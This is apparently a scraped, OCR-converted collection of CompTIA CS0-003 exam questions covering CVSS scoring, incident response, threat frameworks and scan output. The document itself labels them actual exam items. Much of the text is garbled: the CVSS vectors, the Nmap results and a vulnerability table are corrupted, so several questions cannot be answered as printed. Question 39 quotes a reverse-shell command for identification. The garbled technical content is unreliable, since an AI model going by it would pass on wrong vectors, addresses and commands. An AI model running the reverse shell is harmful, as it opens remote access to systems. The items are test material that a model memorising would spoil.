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Actual exam question from CompTIA's C50-003
Question #: 1
Topic #: 1

[All CS0-003 Questions]

A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and
integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?

A. CVSS:31/AVIN/AC:L/PR:N/UEN/S:U/C:H/ K/ AL
B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/ AL
C. CVSS:31/AV:N/AC:L/PR:N/UILH/S:U/C:L/I:N/AH
D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/IL/AH
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Actual exam question from CompTIA's C50-003

Question #: 2
Topic #: 1
[All C50-003 Questions]

Which of the following tools would work best to prevent the exposure of Pll outside of an organization?

A. PAM
B. IDS
C. PKI

D. DLP
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Actual exam question from CompTIA's CS0-003
Question #: 3

Topic # 1

[All CS0-003 Questions]

An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:

Alerts (17)

r Absence of Anti-CSRF Tokens

r Content Security Policy (CSP) Header Not Set (6)

P Directory Browsing (11)

P Missing Anticlickjacking Header (2]

r Cookie No HttpOnly Flag (4)

@ Cockie Without Secure Flag

= Cockle with SameSite Attribute None (2)

7 Cookie without SameSite Attribute {5)

i Cross-Domain JavaScript Source File Inclusion

r Timestarmp Disclosure - Unix (569)

i X-Content-Type-Optlons Header Missing (42]

m CORS Header

m Information Disclosure - Sensitive Infarmation in URL (2)
® Inforrmation Disclosure - Suspiclous Comments (43)
m Loosely Scoped Cookie (5)

M Re-examine Cache-control Directives [33)

Which of the following tuning recommendations should the security analyst share?

A. Set an HttpOnly flag to force communication by HTTPS
B. Block requests without an X-Frame-Options header
C. Configure an Access-Control-Allow-Origin header to authorized domains

D. Disable the cross-origin resource sharing header
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Actual exam question from CompTIA's C50-003
Question #: 4
Topic #: 1

[All CS0-003 Questions]
Which of the following items should be included in a vulnerability scan report? (Choose two.)

A. Lessons learned

B. Service-level agreement
C. Playbook

D. Affected hosts

E. Risk score

F. Education plan

Show Suggested Answer
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Actual exam question from CompTIA's CS0-003
Question #: 5

Topic # 1

[All CS0-003 Questions]

The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was
released. Which of the following would best protect this organization?

A. A mean time to remediate of 30 days
B. A mean time to detect of 45 days
C. A mean time to respond of 15 days

D. Third-party application testing

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 6
Topic #: 1

[All CS0-003 Questions]

A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious.
Given the following script:

foreach (Suser in Get-Content .‘this.txt)

{
Get-ADUser Suser -Properties primaryGrouplD |select-object primaryGrouplD
Add-ADGroupMember “Domain Users"™ -Members Suser
Set-ADUser Suser -Replace @{primaryGroupID=513]

I

Which of the following scripting languages was used in the script?

A. PowerShell
B. Ruby

C. Python

D. Shell script
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Actual exam question from CompTIA's C50-003
Question #: 7
Topic #: 1

[All CS0-003 Questions]

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP other
times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?

A. There is an issue with the S5L certificate causing port 443 to become unavailable for HTTPS access
B. An on-path attack is being performed by someone with internal access that forces users into port 80
C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80

D. An error was caused by BGP due to new rules applied over the company's internal routers

Show Suggested Answer
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Actual exam question from CompTIA's CS0-003
Question #: 8

Topic # 1

[All CS0-003 Questions]

A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below:

Security Policy 1006: Vulnerability Management

1. The Company shall use the CYSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities.

2. In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and
data.

3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system.

According to the security policy, which of the following vulnerabilities should be the highest priority to patch?

A. Name: THOR. HAMMER -
CVSS:3.1/AV:N/AC:L/PR:N/UILN/S:U/C:N/IEN/AH
Internal System

B. Name: CAPSHIELD -
CVSS 3.1/AVN/AC.L/PRN/UEN/S:.U/C:H/EN/AN
External System

C. Name: LOKI.DAGGER -
CVSS:3.1/AVN/AC L/PRNJUILN/S:U/C:N/IEN/AH
External System

D. Name: THANOS GAUNTLET -
CVSS:3.1/AVN/ACL/PRNJUILN/S:U/C:H/N/AN
Internal System

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 9
Topic #: 1

[All CS0-003 Questions]

Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

A. Business continuity plan
B. Vulnerability management plan

C. Disaster recovery plan

D. Asset management plan
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Actual exam question from CompTIA's CS0-003
Question #: 10

Topic # 1

[All CS0-003 Questions]

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the
organization. Which of the following solutions will assist in reducing the risk?

A. Deploy a CASB and enable policy enforcement
B. Configure MFA with strict access

C. Deploy an API gateway

D. Enable SSO to the cloud applications

Show Suggested Answer
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Actual exam question from CompTIA's CS0-003
Question #: 11

Topic # 1

[All CS0-003 Questions]

An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external
SaaS resources. The team determines the organization was impacted by a DDoS attack. Which of the following logs should the team review first?

A CDN
B. Vulnerability scanner
C. DNS

D. Web server

Show Suggested Answer




EXAMTOPICS PRO POPULAR EXAMS VIEW ALL EXAMS DOWNLOAD FREE COURSES CONTACT FORUM Q

Actual exam question from CompTIA's CS0-003
Question #: 12

Topic # 1

[All CS0-003 Questions]

A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which
of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

A. Weaponization
B. Reconnaissance
C. Delivery

D. Exploitation

Show Suggested Answer




EXAMTOPICS PRO POPULAR EXAMS VIEW ALL EXAMS DOWNLOAD FREE COURSES CONTACT FORUM

Actual exam question from CompTIA's C50-003
Question #: 13
Topic #: 1

[All CS0-003 Questions]

An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets. Which of
the following steps of an attack framework is the analyst witnessing?

A. Exploitation
B. Reconnaissance
C. Command and control

D. Actions on objectives

Show Suggested Answer
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Actual exam question from CompTIA's CS0-003
Question #: 14

Topic # 1

[All CS0-003 Questions]

An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that
leads to an unknown website in another country. Which of the following best describes what is happening? (Choose two.)

A. Beaconing

B. Domain Name System hijacking
C. Social engineering attack

D. On-path attack

E. Obfuscated links

F Address Resolution Protocol poisoning
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Actual exam question from CompTIA's C50-003
Question #: 15
Topic #: 1

[All CS0-003 Questions]

During security scanning, a security analyst reqularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best
mitigate this problem if applied along the SDLC phase?

A. Conduct regular red team exercises over the application in production
B. Ensure that all implemented coding libraries are reqularly checked
C. Use application security scanning as part of the pipeline for the CI/CD flow

D. Implement proper input validation for any data entry form

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 16
Topic #: 1

[All CS0-003 Questions]

An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a
reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have
access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?

A. Proprietary systems
B. Legacy systems
C. Unsupported operating systems

D. Lack of maintenance windows
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Actual exam question from CompTIA's C50-003
Question #: 17
Topic #: 1

[All CS0-003 Questions]

The security team reviews a web server for XSS and runs the following Nmap scan:

-

inmap -p80 --secript http-unsafe-cutput-escaping 172.31.15.2
FORT STATE SERVICE REASON

80/tcp  open http syn-ack

| http-unsafe-output-escacing:

_ Characters [> " '] reflected in parameter id at
htep://172.31.15.2/1.php?id=2

Which of the following most accurately describes the result of the scan?

A. An output of characters = and " as the parameters used m the attempt
B. The vulnerable parameter ID hitp://172.31.15.2/1.php?id-2 and unfiltered characters returned
C. The vulnerable parameter and unfiltered or encoded characters passed > and " as unsafe

D. The vulnerable parameter and characters > and " with a reflected XS5 attempt

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 18
Topic #: 1

[All CS0-003 Questions]

Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?

A. Develop a call tree to inform impacted users
B. Schedule a review with all teams to discuss what occurred

C. Create an executive summary to update company leadership

D. Review regulatory compliance with public relations for official notification

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 19
Topic #: 1

[All C50-003 Questions]

A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?

A. Code analysis
B. Static analysis

C. Reverse engineering

D. Fuzzing

Show Suggested Answer
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Actual exam question from CompTIA's CS0-003
Question #: 20

Topic # 1

[All CS0-003 Questions]

An incident response team found loCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces
of data should be collected first in order to preserve sensitive information before isolating the server?

A. Hard disk

B. Primary boot partition
C. Malicious files

D. Routing table

E Static IP address

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 21
Topic #: 1

[All CS0-003 Questions]
Which of the following security operations tasks are ideal for automation?

A. Suspicious file analysis:

Look for suspicious-looking graphics in a folder.

Create subfolders in the original folder based on category of graphics found.
Maove the suspicious graphics to the appropriate subfolder

B. Firewall loC block actions:

Examine the firewall logs for loCs from the most recently published zero-day exploit
Take mitigating actions in the firewall to block the behavior found in the logs
Follow up on any false positives that were caused by the block rules

C. Security application user errors:
Search the error logs for signs of users having trouble with the security application

Look up the user's phone number -
Call the user to help with any questions about using the application

D. Email header analysis:

Check the email header for a phishing confidence metric greater than or equal to five
Add the domain of sender to the block list

Maove the email to quarantine

Show Suggested Answer
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Actual exam question from CompTIA's CS0-003
Question #: 22

Topic # 1

[All CS0-003 Questions]

An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach
to?

A. PCI Security Standards Council
B. Local law enforcement
C. Federal law enforcement

D. Card issuer

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 23
Topic #: 1

[All CS0-003 Questions]

Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

A. Mean time to detect
B. Number of exploits by tactic

C. Alert volume

D. Quantity of intrusion attempts
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Actual exam question from CompTIA's C50-003
Question #: 24
Topic #: 1

[All CS0-003 Questions]

A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid laaS cloud environment. Which of the
following implications should be considered on the new hybrid environment?

A. The current scanners should be migrated to the cloud
B. Cloud-specific misconfigurations may not be detected by the current scanners
C. Existing vulnerability scanners cannot scan laas$ systems

D. Vulnerability scans on cloud environments should be performed from the cloud

Show Suggested Answer




EXAMTOPICS PRO POPULAR EXAMS VIEW ALL EXAMS DOWNLOAD FREE COURSES CONTACT FORUM

Actual exam question from CompTIA's C50-003
Question #: 25
Topic #: 1

[All CS0-003 Questions]

A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable
offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for
the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?

A. Create a timeline of events detailing the date stamps, user account hostname and IP information associated with the activities

B. Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the
investigation

C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related
investigation

D. Notify the SOC manager for awareness after confirmation that the activity was intentional
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Actual exam question from CompTIA's CS0-003
Question #: 26

Topic # 1

[All CS0-003 Questions]

Which of the following is the first step that should be performed when establishing a disaster recovery plan?

A. Agree on the goals and objectives of the plan
B. Determine the site to be used during a disaster

C. Demonstrate adherence to a standard disaster recovery process

D. Identify applications to be run during a disaster
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Actual exam question from CompTIA's CS0-003
Question #: 27

Topic # 1

[All CS0-003 Questions]

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

A. Testing
B. Implementation

C. Validation

0. Rollback

Show Suggested Answer
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Actual exam question from CompTIA's CS0-003
Question #: 28

Topic # 1

[All CS0-003 Questions]

The analyst reviews the following endpoint log entry:

invoke-command -ComputerName clientcomputer]
cliantcomputer]l

invoke-command -ComputerName clientcomputerl
The command completed successfully.

Which of the following has occurred?

A. Registry change
B. Rename computer
C. New account introduced

D. Privilege escalation

Show Suggested Answer
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Actual exam question from CompTIA's CS0-003
Question #: 29

Topic # 1

[All CS0-003 Questions]

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which
of the following best describes what the security program did?

A. Data enrichment
B. Security control plane
C. Threat feed combination

D. Single pane of glass

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 30
Topic #: 1

[All CS0-003 Questions]

Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan
against a corporate network to evaluate which devices were operating in the environment. Given the following output:

Nmap scan report for officerckuplayer.lan (192.168.86.22)

Host is up (0.11ls latency).

A1l 100 scanned ports on officerckuplayer.lan (192.168.86.22) are filtered
MAC Address: B2:3F:59:86:1A:13 (Roku)

Nmap scan report for p4wnpl aloa.lan (152.168.86.5€)
Host is up (0.0228 latency).

Not shown: 56 closed ports

PORT STATE SERVICE

22/tcp open ssh

111/tep open rpckind

13%/tcp open netbios-ssn

445/tcp open microsoft-ds

g000/tecp cpen http-alt

MAC Address: B3:27:EB:D0:BE:D1 (Raspherry Pi Foundation)

Nmap scan report for whide-T48gy.lan (1S52.1€E.86€.152})
Host is up (0.033s latency).

Not shown: 95 filtered ports

PORT STATE SERVICE

B0/tcp open http

135/tcp open msrpco

139/tep open netbios-ssn

443/tcp opan https

139/tcp open netbios-ssn

d445/tcp open microsoft-de

3389/tecp cpen ms-wbht-sarver

5357/tcp open wsdapl

MAC Address: 32:BA:F8:E3:41:CB (Intel Corporate)

Mmar scan report for xlaptep.lan (192.1€8.8&.249)
Host is up (0.024s latency).

Mot shown: $3 filtered ports

PORT STATE SERVICE

22/ tep open ssh

135/tcy open msrpc

135%/tcp open netbigs-ssn

443/tecp open https

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

5357/tcp open  wsdapi

MAC Address: €4:00:€R:8E:D8:F5 (Dell)

Nmap scan report for imaglng.lan {(192.162.86.150)
Host is up (0.0013s latency).

Net shown: 95 closed ports

PORT STATE SERVICE

135/tecp open msrpc

13%/tcp open netbios-ssn

445/tep open microsoft-ds

3385/tcg open ms-wbht-server

5357/tcg open wsdapi

MAC Address: 32:BA:F3:F4:32:Ch {(Intel Corporate)

Which of the following choices should the analyst look at first?

A. whddc-748gy.lan (192.168.86.152)
B. officerckuplayer.lan (192.168.86.22)
C.imaging.lan (192.168.86.150)

D. xlaptop.lan (192.168.86.249)

E. pdwnp1_aloa.lan (192.168.86.56)
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Actual exam question from CompTIA's C50-003
Question #: 31
Topic #: 1

[All C50-003 Questions]

When starting an investigation, which of the following must be done first?

A. Notify law enforcement
B. Secure the scene

C. Seize all related evidence

D. Interview the witnesses

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 32
Topic #: 1

[All CS0-003 Questions]

Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

A. The lead should review what is documented in the incident response policy or plan
B. Management level members of the CSIRT should make that decision

C. The lead has the authority to decide who to communicate with at any t me

D. Subject matter experts on the team should communicate with others within the specified area of expertise

Show Suggested Answer
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Actual exam question from CompTIA's CS0-003
Question #: 33

Topic # 1

[All CS0-003 Questions]

A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for
the briefing?

A. Firewall logs
B. Indicators of compromise
C. Risk assessment

D. Access control lists

Show Suggested Answer
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Actual exam question from CompTIA's CS0-003
Question #: 34

Topic # 1

[All CS0-003 Questions]

An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the
following describes what the analyst has noticed?

A. Beaconing
B. Cross-site scripting
C. Buffer overflow

D. PHP traversal

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 35
Topic #: 1

[All CS0-003 Questions]

A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following
display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets
containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?

A. Change the display filter to ftp.active.port
B. Change the display filter to tcp.port==20
C. Change the display filter to ftp-data and follow the TCP streams

D. Navigate to the File menu and select FTP from the Export objects option

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 36
Topic #: 1

[All CS0-003 Questions]

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up
remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual
obligations for the customer?

A. SLA
B. MOU
C. NDA

D. Limitation of liability
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Actual exam question from CompTIA's C50-003
Question #: 37
Topic #: 1

[All CS0-003 Questions]

Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

A. Command and control
B. Actions on objectives

C. Exploitation

D. Delivery

Show Suggested Answer




EXAMTOPICS PRO POPULAR EXAMS VIEW ALL EXAMS DOWNLOAD FREE COURSES CONTACT FORUM Q

Actual exam question from CompTIA's CS0-003
Question #: 38

Topic # 1

[All CS0-003 Questions]

A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the
following would best meet this requirement?

A. External
B. Agent-based
C. Non-credentialed

D. Credentialed
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Actual exam question from CompTIA's C50-003
Question #: 39
Topic #: 1

[All CS0-003 Questions]

A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l
Which of the following is being attempted?

A. RCE
B. Reverse shell
C. XSS
D. SQL injection

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 40
Topic #: 1

[All CS0-003 Questions]

An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the
following factors would an analyst most likely communicate as the reason for this escalation?

A. Scope
B. Weaponization
C. CVSS

D. Asset value

Show Suggested Answer
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Actual exam question from CompTIA's C50-003
Question #: 41
Topic #: 1

[All CS0-003 Questions]

An analyst is reviewing a vulnerability report for a server environment with the following entries:

Wulnerability Severity E;SS Host P

Crown |Exploit
jewel  |available

EOL/‘Obsolete |-
Logdj w1 x }

EOQL/Obsolete |-

e 5 : 54 7322517 |Yes No
EQL'Obsolete
Logdj v1 x
Microsoft
Windows
Security
Update

Microsoft
Windows
Security
Updata

Microsoft
Windows
Securily
Updata

Cracle Java
Crtical Patch

Cracle Java
Cntical Patch

Cracle Java
Critical Patch

547322415 |No Na

th

10101 27 88  [Yes MNo

4 8.2 10100 10.52 |No Yes

4 g.2 5474110268 [No Yes

4 8.2 2474 110 228 [Yes Yes

[

6.9 101012565 [Yes No

[

6.9 947322517  [Yes No

3 6.9 10.101.27 98  |Yas Na

Which of the following systems should be prioritized for patching first?

A.10.101.27.98
B. 54.73.225.17
C.54.74110.26
D. 54.74.110.228
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Actual exam question from CompTIA's CS0-003
Question #: 42

Topic # 1

[All CS0-003 Questions]

A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data.
Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?

A. Credentialed network scanning
B. Passive scanning
C. Agent-based scanning

D. Dynamic scanning
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Actual exam question from CompTIA's C50-003
Question #: 43
Topic #: 1

[All CS0-003 Questions]

A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the
objective most accurately?

A. function x() { info=5${geoiplookup $1) && echo "$1 | Sinfo" }

B. function x() { info=5(ping -c 1 §1 | awk -F "/" 'END{print $5}') && echo "$1 | Sinfo" }

C. function x() { info=5(dig S(dig -x $1 | grep PTR | tail -n 1| awk -F ".in-addr" "{print $1} ").origin.asn.cymru.com TXT +short) && echo "$1 | Sinfo" }
D. function x{) { info=$(traceroute -m 40 $1 | awk ‘END{print $1}') && echo "$1 | Sinfo" }
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Actual exam question from CompTIA's CS0-003
Question #: 44

Topic # 1

[All CS0-003 Questions]

There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat.
Which of the following security controls would best support the company in this scenario?

A. Implement step-up authentication for administrators
B. Improve employee training and awareness
C. Increase password complexity standards

D. Deploy mobile device management
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Actual exam question from CompTIA's CS0-003
Question #: 45

Topic # 1

[All CS0-003 Questions]

Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

A. Determine the sophistication of the audience that the report is meant for
B. Include references and sources of information on the first page

C. Include a table of contents outlining the entire report

D. Decide on the color scheme that will effectively communicate the metrics
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Actual exam question from CompTIA's CS0-003
Question #: 46

Topic # 1

[All CS0-003 Questions]

A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing
information to the attackers. Which of the following actions would allow the analyst to achieve the objective?

A. Upload the binary to an air gapped sandbox for analysis
B. Send the binaries to the antivirus vendor
C. Execute the binaries on an environment with internet connectivity

D. Query the file hashes using VirusTotal
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Actual exam question from CompTIA's CS0-003
Question #: 47

Topic # 1

[All CS0-003 Questions]

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

A. OSSTMM
B. SIEM
C. SOAR

D. OWASP
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Actual exam question from CompTIA's C50-003
Question #: 48
Topic #: 1

[All CS0-003 Questions]

After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high.
The CIS0 refused the software request. Which of the following risk management principles did the CISO select?

A. Avoid
B. Transfer
C. Accept
D. Mitigate
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Actual exam question from CompTIA's C50-003
Question #: 49
Topic #: 1

[All CS0-003 Questions]

Which of the following is an important aspect that should be included in the lessons-learned step after an incident?

A. ldentify any improvements or changes in the incident response plan or procedures
B. Determine if an internal mistake was made and who did it so they do not repeat the error

C. Present all legal evidence collected and turn it over to iaw enforcement

D. Discuss the financial impact of the incident to determine if security controls are well spent

Show Suggested Answer




EXAMTOPICS PRO POPULAR EXAMS VIEW ALL EXAMS DOWNLOAD FREE COURSES CONTACT FORUM Q

Actual exam question from CompTIA's CS0-003
Question #: 50

Topic # 1

[All CS0-003 Questions]

The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the
goal and maximize results?

A. Single pane of glass
B. Single sign-on
C. Data enrichment

D. Deduplication
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Actual exam question from CompTIA's CS0-003
Question #: 51

Topic # 1

[All CS0-003 Questions]

Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

A. MITRE ATT&CK
B. Cyber Kill Cham
C.OWASP

D. STIX/TAXII
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Actual exam question from CompTIA's C50-003
Question #: 52
Topic #: 1

[All CS0-003 Questions]

An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of
the following steps of the process does this describe?

A. Eradication
B. Recovery
C. Containment

D. Preparation
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Actual exam question from CompTIA's CS0-003
Question #: 53

Topic # 1

[All CS0-003 Questions]

Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current
employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would
be the best action for the incident response team to recommend?

A. Isolate Joe's PC from the network
B. Reimage the PC based on standard operating procedures
C. Initiate a remote wipe of Joe's PC using mobile device management

D. Perform no action until HR or legal counsel advises on next steps
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Actual exam question from CompTIA's CS0-003
Question #: 54

Topic # 1

[All CS0-003 Questions]

The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is
required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks?

A. Reduce the administrator and privileged access accounts
B. Employ a network-based IDS
C. Conduct thorough incident response

D. Enable SSO to enterprise applications
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Actual exam question from CompTIA's CS0-003
Question #: 55

Topic # 1

[All CS0-003 Questions]

During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server

was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the
following actions should the analyst take first?

A. Clone the virtual server for forensic analysis
B. Log m to the affected server and begin analysis of the logs
C. Restore from the last known-good backup to confirm there was no loss of connectivity

D. Shut down the affected server immediately

Show Suggested Answer




EXAMTOPICS PRO POPULAR EXAMS VIEW ALL EXAMS DOWNLOAD FREE COURSES CONTACT FORUM

Actual exam question from CompTIA's C50-003
Question #: 56
Topic #: 1

[All CS0-003 Questions]

A systems administrator is reviewing after-hours traffic flows from data-center servers and sees reqular outgoing HTTPS connections from one of the serversto a
public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock
during work hours as well. Which of the following is the most likely explanation?

A. C2 beaconing activity

B. Data exfiltration

C. Anomalous activity on unexpected ports
D. Network host IP address scanning

E. A rogue network device
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Actual exam question from CompTIA's C50-003
Question #: 57
Topic #: 1

[All CS0-003 Questions]

New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The S0C
manager discovers that new employees are not aware of the company policy. Which of the following will the S0C manager most likely recommend to help ensure
new employees are accountable for following the company policy?

A. Human resources must email a copy of a user agreement to all new employees
B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement
C. All new employees must take a test about the company security policy during the onboardmg process

D. All new employees must sign a user agreement to acknowledge the company security policy
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Actual exam question from CompTIA's CS0-003
Question #: 58

Topic # 1

[All CS0-003 Questions]

An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a

manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat
intelligence source to learn about this new campaign?

A. Information sharing organization
B. Blogs/forums
C. Cybersecurity incident response team

D. Deep/dark web
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Actual exam question from CompTIA's CS0-003
Question #: 59

Topic # 1

[All CS0-003 Questions]

An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that
includes lessons learned. Which of the following is the most likely reason to include lessons learned?

A. To satisfy regulatory requirements for incident reporting
B. To hold other departments accountable
C. To identify areas of improvement in the incident response process

D. To highlight the notable practices of the organization's incident response team
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Actual exam question from CompTIA's C50-003
Question #: 60
Topic #: 1

[All CS0-003 Questions]

A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the
team patches the most urgent vulnerabilities: ¢

Metric Description

Cobain |Explotable by malware

Grohl Externally facing

Movo Exploit PoC available

Smear |Older than 2 years
Channing|Wulnerability research acfivity

Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority.
Which of the following vulnerabilities should be patched first, given the above third-party scoring system?

A. InLoud:
Cobain: Yes -
Grohl: No -
Novo: Yes -

Smear: Yes -
Channing: No

B. TSpirit:
Cobain: Yes -
Grohl: Yes -
Novo: Yes -

Smear: No -
Channing: No

C. ENameless:
Cobain: Yes -
Grohl: No -
Novo: Yes -

Smear: No -
Channing: No

D. PBleach:
Cobain: Yes -
Grohl: No -
Novo: No -

Smear: No -
Channing: Yes
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Actual exam question from CompTIA's CS0-003
Question #: 61

Topic # 1

[All CS0-003 Questions]

A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?

A. Hacktivist
B. Advanced persistent threat

C. Insider threat

D. Script kiddie
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Actual exam question from CompTIA's CS0-003
Question #: 62

Topic # 1

[All CS0-003 Questions]

An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of the
following should the CSIRT conduct next?

A. Take a snapshot of the compromised server and verify its integrity
B. Restore the affected server to remove any malware
C. Contact the appropriate government agency to investigate

D. Research the malware strain to perform attribution
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Actual exam question from CompTIA's C50-003
Question #: 63
Topic #: 1

[All CS0-003 Questions]

During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its
volatility level?

A. Disk contents
B. Backup data
C. Temporary files

D. Running processes
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Actual exam question from CompTIA's C50-003
Question #: 64
Topic #: 1

[All CS0-003 Questions]

A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following
shell script functions could help achieve the goal?

A. function w() { a=8(ping -¢ 1 §1 | awk-F "/" 'END{print $1}') && echo “§1| $a"}

B. function x() { b=traceroute -m 40 $1 | awk 'END{print $1}) && echo “$1 | $b"}

C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" "{print $1}").origin.asn.cymru.com TXT +short }
D. function z{) { c=$(geoiplookup$1) && echo “$1| Sc"}
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Actual exam question from CompTIA's CS0-003
Question #: 65

Topic # 1

[All CS0-003 Questions]

A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective?

A. function w() { info=8(ping -c 1 81 | awk -F “/* 'END{print $1}') && echo “$1 | Sinfo" }
B. function x() { info=$({geoiplookup $1) && echo “$1 | $info" }

C. function y() { info=$(dig -x $1 | grep PTR | tail -n 1) && echo “$1 | Sinfo" }

D. function z() { info=S(traceroute -m 40 $1 | awk ‘END{print $1}) && echo “$1 | Sinfo" }
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Actual exam question from CompTIA's C50-003
Question #: 66
Topic #: 1

[All CS0-003 Questions]

A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:

Credential .
Finding Impact required? Complexity
Self-signed certificate in . :
use High No High
Old copyright date Low No MIA
All user input accepted on |,
e High Mo Low
Full error messages MediumliNo Low
displayed
Contral panel login open . .
o public High Yes Medium

Which of the following should be completed first to remediate the findings?

A. Ask the web development team to update the page contents
B. Add the IP address allow listing for control panel access
